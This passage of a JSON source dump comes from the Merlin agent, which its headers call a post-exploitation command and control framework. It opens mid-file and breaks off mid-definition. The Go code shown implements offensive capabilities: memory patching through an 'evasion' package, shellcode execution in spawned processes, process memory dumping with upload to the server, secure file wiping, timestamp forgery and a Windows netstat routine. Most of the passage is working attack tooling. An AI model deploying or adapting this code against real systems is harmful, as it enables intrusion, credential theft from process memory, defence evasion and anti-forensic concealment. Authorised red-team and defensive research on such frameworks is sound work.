hex.DecodeString(cmd.Args[3])\n\t\t\t\tif err != nil {\n\t\t\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error decoding the patch to bytes: %s\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tout, err := evasion.Patch(cmd.Args[1], cmd.Args[2], &patch)\n\t\t\t\tresults.Stdout = out\n\t\t\t\tif err != nil {\n\t\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tresults.Stderr = fmt.Sprintf(\"expected 4 arguments but got %d\", len(cmd.Args))\n\t\t\t\treturn\n\t\t\t}\n\t\tcase \"write\":\n\t\t\t// 0-write, 1-module, 2-procedure, 3-patch\n\t\t\tif len(cmd.Args) > 3 {\n\t\t\t\tpatch, err := hex.DecodeString(cmd.Args[3])\n\t\t\t\tif err != nil {\n\t\t\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error decoding the patch to bytes: %s\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\terr = evasion.WriteBanana(cmd.Args[1], cmd.Args[2], &patch)\n\t\t\t\tif err != nil {\n\t\t\t\t\tresults.Stderr = err.Error()\n\t\t\t\t}\n\t\t\t\tresults.Stdout = fmt.Sprintf(\"\\nWrote %d bytes to %s!%s: %X\", len(patch), cmd.Args[1], cmd.Args[2], patch)\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tresults.Stderr = fmt.Sprintf(\"expected 4 arguments but got %d\", len(cmd.Args))\n\t\t\t\treturn\n\t\t\t}\n\t\tdefault:\n\t\t\tresults.Stderr = fmt.Sprintf(\"unrecognized Memory module command: %s\", cmd.Args[0])\n\t\t\treturn\n\t\t}\n\t}\n\n\tresults.Stderr = \"no arguments were provided to the Memory module\"\n\n\treturn\n}\n"
  },
  {
    "path": "commands/modules.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"strconv\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// CreateProcess spawns a child process with anonymous pipes, executes shellcode in it, and returns the output from the executed shellcode\nfunc CreateProcess(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Executing CreateProcess module: %s\", cmd.Command))\n\n\tvar results jobs.Results\n\tvar err error\n\n\t// Ensure the provided args are valid\n\tif len(cmd.Args) < 2 {\n\t\t//not enough args\n\t\tresults.Stderr = \"not enough arguments provided to the createProcess module to dump a process\"\n\t\treturn results\n\t}\n\n\t// 1. Shellcode\n\t// 2. SpawnTo Executable\n\t// 3. SpawnTo Arguments\n\tresults.Stdout, results.Stderr, err = ExecuteShellcodeCreateProcessWithPipe(cmd.Args[0], cmd.Args[1], cmd.Args[2])\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t}\n\n\tif results.Stderr == \"\" {\n\t\tcli.Message(cli.SUCCESS, results.Stdout)\n\n\t} else {\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t}\n\treturn results\n}\n\n// MiniDump is the top-level function used to receive a job and subsequently execute a Windows memory dump on the target process\n// The function returns the memory dump as a file upload to the server\nfunc MiniDump(cmd jobs.Command) (jobs.FileTransfer, error) {\n\n\tcli.Message(cli.NOTE, \"Received Minidump request\")\n\n\t//ensure the provided args are valid\n\tif len(cmd.Args) < 2 {\n\t\t//not enough args\n\t\treturn jobs.FileTransfer{}, fmt.Errorf(\"not enough arguments provided to the Minidump module to dump a process\")\n\n\t}\n\tprocess := cmd.Args[0]\n\tpid, err := strconv.ParseInt(cmd.Args[1], 0, 32)\n\tif err != nil {\n\t\treturn jobs.FileTransfer{}, fmt.Errorf(\"minidump module could not parse PID as an integer:%s\\r\\n%s\", cmd.Args[1], err.Error())\n\n\t}\n\n\ttempPath := \"\"\n\tif len(cmd.Args) == 3 {\n\t\ttempPath = cmd.Args[2]\n\t}\n\n\t// Get minidump\n\tminiD, miniDumpErr := miniDump(tempPath, process, uint32(pid))\n\n\t//copied and pasted from upload func, modified appropriately\n\tif miniDumpErr != nil {\n\t\treturn jobs.FileTransfer{}, fmt.Errorf(\"there was an error executing the miniDump module:\\r\\n%s\", miniDumpErr.Error())\n\t}\n\n\tfileHash := sha256.New()\n\t_, errW := io.WriteString(fileHash, string(miniD[\"FileContent\"].([]byte)))\n\tif errW != nil {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"There was an error generating the SHA256 file hash e:\\r\\n%s\", errW.Error()))\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server\",\n\t\tlen(miniD[\"FileContent\"].([]byte)),\n\t\tfileHash.Sum(nil)))\n\n\treturn jobs.FileTransfer{\n\t\tFileLocation: fmt.Sprintf(\"%s.%d.dmp\", miniD[\"ProcName\"], miniD[\"ProcID\"]),\n\t\tFileBlob:     base64.StdEncoding.EncodeToString(miniD[\"FileContent\"].([]byte)),\n\t\tIsDownload:   true,\n\t}, nil\n}\n"
  },
  {
    "path": "commands/native.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"math\"\n\t\"net\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// Native executes a golang native command that does not use any executables on the host\nfunc Native(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Entering into commands.Native() with %+v...\", cmd))\n\tvar results jobs.Results\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Executing native command: %s\", cmd.Command))\n\n\tswitch cmd.Command {\n\t// TODO create a function for each Native Command that returns a string and error and DOES NOT use (a *Agent)\n\n\tcase \"cd\":\n\t\t// Setup OS environment, if any\n\t\terr := Setup()\n\t\tif err != nil {\n\t\t\tresults.Stderr = err.Error()\n\t\t\tbreak\n\t\t}\n\t\t// Defer TearDown and return any errors\n\t\tdefer func() {\n\t\t\terr = TearDown()\n\t\t\tif err != nil {\n\t\t\t\tresults.Stderr += fmt.Sprintf(\"there was an error tearing down the OS environment when executing the 'cd' command: %s\", err)\n\t\t\t}\n\t\t}()\n\t\terr = os.Chdir(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error changing directories when executing the 'cd' command:\\r\\n%s\", err.Error())\n\t\t} else {\n\t\t\tpath, pathErr := os.Getwd()\n\t\t\tif pathErr != nil {\n\t\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error getting the working directory when executing the 'cd' command:\\r\\n%s\", pathErr.Error())\n\t\t\t} else {\n\t\t\t\tresults.Stdout = fmt.Sprintf(\"Changed working directory to %s\", path)\n\t\t\t}\n\t\t}\n\tcase \"env\":\n\t\tresults.Stdout, results.Stderr = env(cmd.Args)\n\tcase \"ls\":\n\t\tlisting, err := list(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error executing the 'ls' command:\\r\\n%s\", err.Error())\n\t\t\tbreak\n\t\t}\n\t\tresults.Stdout = listing\n\tcase \"ifconfig\":\n\t\tifaces, err := ifconfig()\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error executing the 'ifconfig' command:\\n%s\", err)\n\t\t}\n\t\tresults.Stdout = ifaces\n\tcase \"killprocess\":\n\t\tresults.Stdout, results.Stderr = killProcess(cmd.Args[0])\n\tcase \"nslookup\":\n\t\tresults.Stdout, results.Stderr = nslookup(cmd.Args)\n\tcase \"pwd\":\n\t\tdir, err := os.Getwd()\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error getting the working directory when executing the 'pwd' command:\\r\\n%s\", err.Error())\n\t\t} else {\n\t\t\tresults.Stdout = fmt.Sprintf(\"Current working directory: %s\", dir)\n\t\t}\n\tcase \"rm\":\n\t\tif len(cmd.Args) > 0 {\n\t\t\tresults.Stdout, results.Stderr = rm(cmd.Args[0])\n\t\t} else {\n\t\t\tresults.Stderr = \"not enough arguments provided to the 'rm' command\"\n\t\t}\n\tcase \"sdelete\":\n\t\tif len(cmd.Args) > 0 {\n\t\t\tresults.Stdout, results.Stderr = sdelete(cmd.Args[0])\n\t\t} else {\n\t\t\tresults.Stderr = \"the sdelete command requires one argument but received 0\"\n\t\t}\n\tcase \"touch\":\n\t\tif len(cmd.Args) > 1 {\n\t\t\tresults.Stdout, results.Stderr = touch(cmd.Args[0], cmd.Args[1])\n\t\t} else {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the touch command requires two arguments but received %d\", len(cmd.Args))\n\t\t}\n\tdefault:\n\t\tresults.Stderr = fmt.Sprintf(\"%s is not a valid NativeCMD type\", cmd.Command)\n\t}\n\n\tif results.Stderr == \"\" {\n\t\tif results.Stdout != \"\" {\n\t\t\tcli.Message(cli.SUCCESS, results.Stdout)\n\t\t}\n\t} else {\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t}\n\treturn results\n}\n\n// list gets and returns a list of files and directories from the input file path\nfunc list(path string) (details string, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Received input parameter for list command function: %s\", path))\n\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"listing directory contents for: %s\", path))\n\n\tvar aPath string\n\t// UNC Path\n\tif strings.HasPrefix(path, \"\\\\\\\\\") {\n\t\taPath = path\n\t} else {\n\t\t// Resolve a relative path to absolute\n\t\taPath, err = filepath.Abs(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// Setup OS environment, if any\n\terr = Setup()\n\tif err != nil {\n\t\treturn\n\t}\n\t// Defer TearDown and return any errors\n\tdefer func() {\n\t\terr2 := TearDown()\n\t\tif err2 != nil {\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"there were multiple errors. 1. %s 2. %s\", err, err2)\n\t\t\t} else {\n\t\t\t\terr = err2\n\t\t\t}\n\t\t}\n\t}()\n\n\tdirectories, err := os.ReadDir(aPath)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdetails += fmt.Sprintf(\"Directory listing for: %s\\r\\n\\r\\n\", aPath)\n\n\tfor _, dir := range directories {\n\t\tvar f os.FileInfo\n\t\tf, err = dir.Info()\n\t\tif err != nil {\n\t\t\tdetails += fmt.Sprintf(\"\\nthere was an error getting file info for directory '%s'\\n\", dir)\n\t\t}\n\t\tperms := f.Mode().String()\n\t\tsize := strconv.FormatInt(f.Size(), 10)\n\t\tmodTime := f.ModTime().String()[0:19]\n\t\tname := f.Name()\n\t\tdetails = details + perms + \"\\t\" + modTime + \"\\t\" + size + \"\\t\" + name + \"\\n\"\n\t}\n\treturn\n}\n\n// nslookup is used to perform a DNS query using the host's configured resolver\nfunc nslookup(query []string) (string, string) {\n\tvar resp string\n\tvar stderr string\n\tfor _, q := range query {\n\t\tip := net.ParseIP(q)\n\t\tif ip != nil {\n\t\t\tr, err := net.LookupAddr(ip.String())\n\t\t\tif err != nil {\n\t\t\t\tstderr += fmt.Sprintf(\"there was an error calling the net.LookupAddr function for %s:\\r\\n%s\", q, err)\n\t\t\t}\n\t\t\tresp += fmt.Sprintf(\"Query: %s, Result: %s\\r\\n\", q, strings.Join(r, \" \"))\n\t\t} else {\n\t\t\tr, err := net.LookupHost(q)\n\t\t\tif err != nil {\n\t\t\t\tstderr += fmt.Sprintf(\"there was an error calling the net.LookupHost function for %s:\\r\\n%s\", q, err)\n\t\t\t}\n\t\t\tresp += fmt.Sprintf(\"Query: %s, Result: %s\\r\\n\", q, strings.Join(r, \" \"))\n\t\t}\n\t}\n\treturn resp, stderr\n}\n\n// killProcess is used to kill a running process by its number identifier\nfunc killProcess(pid string) (stdout string, stderr string) {\n\n\ttargetpid, err := strconv.Atoi(pid)\n\tif err != nil || targetpid < 0 {\n\t\tstderr = fmt.Sprintf(\"There was an error converting the pid %s to an integer:\\n%s\", pid, err)\n\t\treturn\n\t}\n\n\tif targetpid < 0 {\n\t\tstderr = fmt.Sprintf(\"The provided pid %d is less than zero and invalid\", targetpid)\n\t\treturn\n\t}\n\n\t// Setup OS environment, if any\n\terr = Setup()\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\t// Defer TearDown and return any errors\n\tdefer func() {\n\t\terr = TearDown()\n\t\tif err != nil {\n\t\t\tstderr += fmt.Sprintf(\"there was an error tearing down the OS environment when executing the 'killprocess' command: %s\", err)\n\t\t}\n\t}()\n\n\tproc, err := os.FindProcess(targetpid)\n\tif err != nil { // On linux, always returns a process. Don't worry, the Kill() will fail\n\t\tstderr = fmt.Sprintf(\"Could not find a process with pid %d:\\r\\n%s\", targetpid, err)\n\t\treturn\n\t}\n\n\terr = proc.Kill()\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"Error killing pid %d:\\r\\n%s\", targetpid, err)\n\t\treturn\n\t}\n\n\tstdout = fmt.Sprintf(\"Successfully killed pid %d\", targetpid)\n\treturn\n}\n\n// rm removes, or deletes, a file\nfunc rm(path string) (stdout, stderr string) {\n\tcli.Message(cli.DEBUG, \"Entering into native.rm()... function\")\n\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\t// Defer TearDown and return any errors\n\tdefer func() {\n\t\terr = TearDown()\n\t\tif err != nil {\n\t\t\tstderr += fmt.Sprintf(\"there was an error tearing down the OS environment when executing the 'rm' command: %s\", err)\n\t\t}\n\t}()\n\n\t// Verify that file exists\n\t_, err = os.Stat(path)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error executing the 'rm' command: %s\", err.Error())\n\t\treturn\n\t}\n\n\terr = os.Remove(path)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error executing the 'rm' command: %s\", err.Error())\n\t}\n\n\tstdout = fmt.Sprintf(\"successfully removed file %s\", path)\n\treturn\n}\n\n// sdelete securely deletes a file\nfunc sdelete(targetfile string) (resp string, stderr string) {\n\ttargetfile = filepath.Clean(targetfile)\n\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\t// Defer TearDown and return any errors\n\tdefer func() {\n\t\terr = TearDown()\n\t\tif err != nil {\n\t\t\tstderr += fmt.Sprintf(\"there was an error tearing down the OS environment when executing the 'sdelete' command: %s\", err)\n\t\t}\n\t}()\n\n\t// make sure we open the file with correct permission\n\t// otherwise we will get the bad file descriptor error\n\t// #nosec G304 operators should be able to specify arbitrary file path\n\t// #nosec G302 want to use these permissions to ensure access\n\tfile, err := os.OpenFile(targetfile, os.O_RDWR, 0666)\n\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"Error opening file: %s\\r\\n%s\", targetfile, err.Error())\n\t\treturn resp, stderr\n\t}\n\n\t// find out how large is the target file\n\tfileInfo, err := file.Stat()\n\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"Error determining file size: %s\\r\\n%s\", targetfile, err.Error())\n\t\treturn resp, stderr\n\t}\n\n\t// calculate the new slice size\n\t// based on how large our target file is\n\tvar fileSize = fileInfo.Size()\n\tconst fileChunk = 1 * (1 << 20) //1MB Chunks\n\n\t// calculate total number of parts the file will be chunked into\n\ttotalPartsNum := uint64(math.Ceil(float64(fileSize) / float64(fileChunk)))\n\n\tlastPosition := 0\n\n\tfor i := uint64(0); i < totalPartsNum; i++ {\n\t\tpartSize := int(math.Min(fileChunk, float64(fileSize-int64(i*fileChunk))))\n\t\tpartZeroBytes := make([]byte, partSize)\n\n\t\t// fill out the part with zero value\n\t\tcopy(partZeroBytes[:], \"0\")\n\n\t\t// overwrite every byte in the chunk with 0\n\t\tn, err := file.WriteAt(partZeroBytes, int64(lastPosition))\n\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"Error over writing file: %s\\r\\n%s\", targetfile, err.Error())\n\t\t\treturn resp, stderr\n\t\t}\n\n\t\tresp += fmt.Sprintf(\"Wiped %v bytes.\\n\", n)\n\n\t\t// update last written position\n\t\tlastPosition = lastPosition + partSize\n\t}\n\n\terr = file.Close()\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"There was an error closing the %s file:\\n%s\", targetfile, err)\n\t\treturn\n\t}\n\n\t// finally, remove/delete our file\n\terr = os.Remove(targetfile)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"Error deleting file: %s\\r\\n%s\", targetfile, err.Error())\n\t\treturn resp, stderr\n\t}\n\tresp += fmt.Sprintf(\"Securely deleted file: %s\\n\", targetfile)\n\n\treturn resp, stderr\n\n}\n\n// touch matches the destination file's timestamps with source file\nfunc touch(inputsourcefile string, inputdestinationfile string) (resp string, stderr string) {\n\tsourcefilename := inputsourcefile\n\tdestinationfilename := inputdestinationfile\n\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\treturn \"\", err.Error()\n\t}\n\t// Defer TearDown and return any errors\n\tdefer func() {\n\t\terr = TearDown()\n\t\tif err != nil {\n\t\t\tstderr += fmt.Sprintf(\"there was an error tearing down the OS environment when executing the 'touch' command: %s\", err)\n\t\t}\n\t}()\n\n\t// get last modified time of source file\n\tsourcefile, err1 := os.Stat(sourcefilename)\n\n\tif err1 != nil {\n\t\tstderr = fmt.Sprintf(\"Error retrieving last modified time of: %s\\n%s\\n\", sourcefilename, err1.Error())\n\t\treturn resp, stderr\n\t}\n\n\tmodifiedtime := sourcefile.ModTime()\n\n\t// change both atime and mtime to last modified time of source file\n\terr2 := os.Chtimes(destinationfilename, modifiedtime, modifiedtime)\n\n\tif err2 != nil {\n\t\tstderr = fmt.Sprintf(\"Error changing last modified and accessed time of: %s\\n%s\\n\", destinationfilename, err2.Error())\n\t\treturn resp, stderr\n\t}\n\tresp = fmt.Sprintf(\"File: %s\\nLast modified and accessed time set to: %s\\n\", destinationfilename, modifiedtime)\n\treturn resp, stderr\n}\n"
  },
  {
    "path": "commands/netstat.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Netstat is used to print network connections on the target system\nfunc Netstat(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering Netstat() with %+v\", cmd))\n\treturn jobs.Results{\n\t\tStderr: \"the Netstat command is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/netstat_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"reflect\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Netstat is used to print network connections on the target system\nfunc Netstat(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering Netstat() with %+v\", cmd))\n\tvar results jobs.Results\n\tvar err string\n\tvar actualargument string\n\n\tif len(cmd.Args) > 1 {\n\t\tactualargument = cmd.Args[1]\n\t}\n\n\tout, err := netstat(actualargument)\n\n\tif err != \"\" {\n\t\tresults.Stderr = fmt.Sprintf(\"%s\\r\\n\", err)\n\t} else {\n\t\tresults.Stdout = out\n\t}\n\treturn results\n}\n\n// SockAddr represents an ip:port pair\ntype SockAddr struct {\n\tIP   net.IP\n\tPort uint16\n}\n\nfunc (s *SockAddr) String() string {\n\treturn fmt.Sprintf(\"%v:%d\", s.IP, s.Port)\n}\n\n// SockTabEntry type represents each line of the /proc/net/[tcp|udp]\ntype SockTabEntry struct {\n\tino        string\n\tLocalAddr  *SockAddr\n\tRemoteAddr *SockAddr\n\tState      SkState\n\tUID        uint32\n\tProcess    *Process\n}\n\n// Process holds the PID and process name to which each socket belongs\ntype Process struct {\n\tPid  int\n\tName string\n}\n\nfunc (p *Process) String() string {\n\treturn fmt.Sprintf(\"%d/%s\", p.Pid, p.Name)\n}\n\n// SkState type represents socket connection state\ntype SkState uint8\n\nfunc (s SkState) String() string {\n\treturn skStates[s]\n}\n\n// AcceptFn is used to filter socket entries. The value returned indicates\n// whether the element is to be appended to the socket list.\ntype AcceptFn func(*SockTabEntry) bool\n\n// NoopFilter - a test function returning true for all elements\nfunc NoopFilter(*SockTabEntry) bool { return true }\n\n// TCPSocks returns a slice of active TCP sockets containing only those\n// elements that satisfy the accept function\nfunc TCPSocks(accept AcceptFn) ([]SockTabEntry, error) {\n\treturn osTCPSocks(accept)\n}\n\n// TCP6Socks returns a slice of active TCP IPv4 sockets containing only those\n// elements that satisfy the accept function\nfunc TCP6Socks(accept AcceptFn) ([]SockTabEntry, error) {\n\treturn osTCP6Socks(accept)\n}\n\n// UDPSocks returns a slice of active UDP sockets containing only those\n// elements that satisfy the accept function\nfunc UDPSocks(accept AcceptFn) ([]SockTabEntry, error) {\n\treturn osUDPSocks(accept)\n}\n\n// UDP6Socks returns a slice of active UDP IPv6 sockets containing only those\n// elements that satisfy the accept function\nfunc UDP6Socks(accept AcceptFn) ([]SockTabEntry, error) {\n\treturn osUDP6Socks(accept)\n}\n\nconst (\n\terrInsuffBuff = syscall.Errno(122)\n\n\tTh32csSnapProcess  = uint32(0x00000002)\n\tInvalidHandleValue = ^uintptr(0)\n\tMaxPath            = 260\n)\n\nvar (\n\tmodiphlpapi = syscall.NewLazyDLL(\"Iphlpapi.dll\")\n\tmodkernel32 = syscall.NewLazyDLL(\"Kernel32.dll\")\n\n\tprocGetTCPTable2        = modiphlpapi.NewProc(\"GetTcpTable2\")\n\tprocGetTCP6Table2       = modiphlpapi.NewProc(\"GetTcp6Table2\")\n\tprocGetExtendedUDPTable = modiphlpapi.NewProc(\"GetExtendedUdpTable\")\n\tprocCreateSnapshot      = modkernel32.NewProc(\"CreateToolhelp32Snapshot\")\n\tprocProcess32First      = modkernel32.NewProc(\"Process32First\")\n\tprocProcess32Next       = modkernel32.NewProc(\"Process32Next\")\n)\n\n// Socket states\nconst (\n\tClose       SkState = 0x01\n\tListen              = 0x02\n\tSynSent             = 0x03\n\tSynRecv             = 0x04\n\tEstablished         = 0x05\n\tFinWait1            = 0x06\n\tFinWait2            = 0x07\n\tCloseWait           = 0x08\n\tClosing             = 0x09\n\tLastAck             = 0x0a\n\tTimeWait            = 0x0b\n\tDeleteTcb           = 0x0c\n)\n\nvar skStates = [...]string{\n\t\"UNKNOWN\",\n\t\"\", // CLOSE\n\t\"LISTEN\",\n\t\"SYN_SENT\",\n\t\"SYN_RECV\",\n\t\"ESTABLISHED\",\n\t\"FIN_WAIT1\",\n\t\"FIN_WAIT2\",\n\t\"CLOSE_WAIT\",\n\t\"CLOSING\",\n\t\"LAST_ACK\",\n\t\"TIME_WAIT\",\n\t\"DELETE_TCB\",\n}\n\nfunc memToIPv4(p unsafe.Pointer) net.IP {\n\ta := (*[net.IPv4len]byte)(p)\n\tip := make(net.IP, net.IPv4len)\n\tcopy(ip, a[:])\n\treturn ip\n}\n\nfunc memToIPv6(p unsafe.Pointer) net.IP {\n\ta := (*[net.IPv6len]byte)(p)\n\tip := make(net.IP, net.IPv6len)\n\tcopy(ip, a[:])\n\treturn ip\n}\n\nfunc memtohs(n unsafe.Pointer) uint16 {\n\treturn binary.BigEndian.Uint16((*[2]byte)(n)[:])\n}\n\ntype WinSock struct {\n\tAddr uint32\n\tPort uint32\n}\n\nfunc (w *WinSock) Sock() *SockAddr {\n\tip := memToIPv4(unsafe.Pointer(&w.Addr))\n\tport := memtohs(unsafe.Pointer(&w.Port))\n\treturn &SockAddr{IP: ip, Port: port}\n}\n\ntype WinSock6 struct {\n\tAddr    [net.IPv6len]byte\n\tScopeID uint32\n\tPort    uint32\n}\n\nfunc (w *WinSock6) Sock() *SockAddr {\n\tip := memToIPv6(unsafe.Pointer(&w.Addr[0]))\n\tport := memtohs(unsafe.Pointer(&w.Port))\n\treturn &SockAddr{IP: ip, Port: port}\n}\n\ntype MibTCPRow2 struct {\n\tState      uint32\n\tLocalAddr  WinSock\n\tRemoteAddr WinSock\n\tWinPid\n\tOffloadState uint32\n}\n\ntype WinPid uint32\n\nfunc (pid WinPid) Process(snp ProcessSnapshot) *Process {\n\tif pid < 1 {\n\t\treturn nil\n\t}\n\treturn &Process{\n\t\tPid:  int(pid),\n\t\tName: snp.ProcPIDToName(uint32(pid)),\n\t}\n}\n\nfunc (m *MibTCPRow2) LocalSock() *SockAddr  { return m.LocalAddr.Sock() }\nfunc (m *MibTCPRow2) RemoteSock() *SockAddr { return m.RemoteAddr.Sock() }\nfunc (m *MibTCPRow2) SockState() SkState    { return SkState(m.State) }\n\ntype MibTCPTable2 struct {\n\tNumEntries uint32\n\tTable      [1]MibTCPRow2\n}\n\nfunc (t *MibTCPTable2) Rows() []MibTCPRow2 {\n\tvar s []MibTCPRow2\n\thdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))\n\thdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))\n\thdr.Len = int(t.NumEntries)\n\thdr.Cap = int(t.NumEntries)\n\treturn s\n}\n\n// MibTCP6Row2 structure contains information that describes an IPv6 TCP\n// connection.\ntype MibTCP6Row2 struct {\n\tLocalAddr  WinSock6\n\tRemoteAddr WinSock6\n\tState      uint32\n\tWinPid\n\tOffloadState uint32\n}\n\nfunc (m *MibTCP6Row2) LocalSock() *SockAddr  { return m.LocalAddr.Sock() }\nfunc (m *MibTCP6Row2) RemoteSock() *SockAddr { return m.RemoteAddr.Sock() }\nfunc (m *MibTCP6Row2) SockState() SkState    { return SkState(m.State) }\n\n// MibTCP6Table2 structure contains a table of IPv6 TCP connections on the\n// local computer.\ntype MibTCP6Table2 struct {\n\tNumEntries uint32\n\tTable      [1]MibTCP6Row2\n}\n\nfunc (t *MibTCP6Table2) Rows() []MibTCP6Row2 {\n\tvar s []MibTCP6Row2\n\thdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))\n\thdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))\n\thdr.Len = int(t.NumEntries)\n\thdr.Cap = int(t.NumEntries)\n\treturn s\n}\n\n// MibUDPRowOwnerPID structure contains an entry from the User Datagram\n// Protocol (UDP) listener table for IPv4 on the local computer. The entry also\n// includes the process ID (PID) that issued the call to the bind function for\n// the UDP endpoint\ntype MibUDPRowOwnerPID struct {\n\tWinSock\n\tWinPid\n}\n\nfunc (m *MibUDPRowOwnerPID) LocalSock() *SockAddr  { return m.Sock() }\nfunc (m *MibUDPRowOwnerPID) RemoteSock() *SockAddr { return &SockAddr{net.IPv4zero, 0} }\nfunc (m *MibUDPRowOwnerPID) SockState() SkState    { return Close }\n\n// MibUDPTableOwnerPID structure contains the User Datagram Protocol (UDP)\n// listener table for IPv4 on the local computer. The table also includes the\n// process ID (PID) that issued the call to the bind function for each UDP\n// endpoint.\ntype MibUDPTableOwnerPID struct 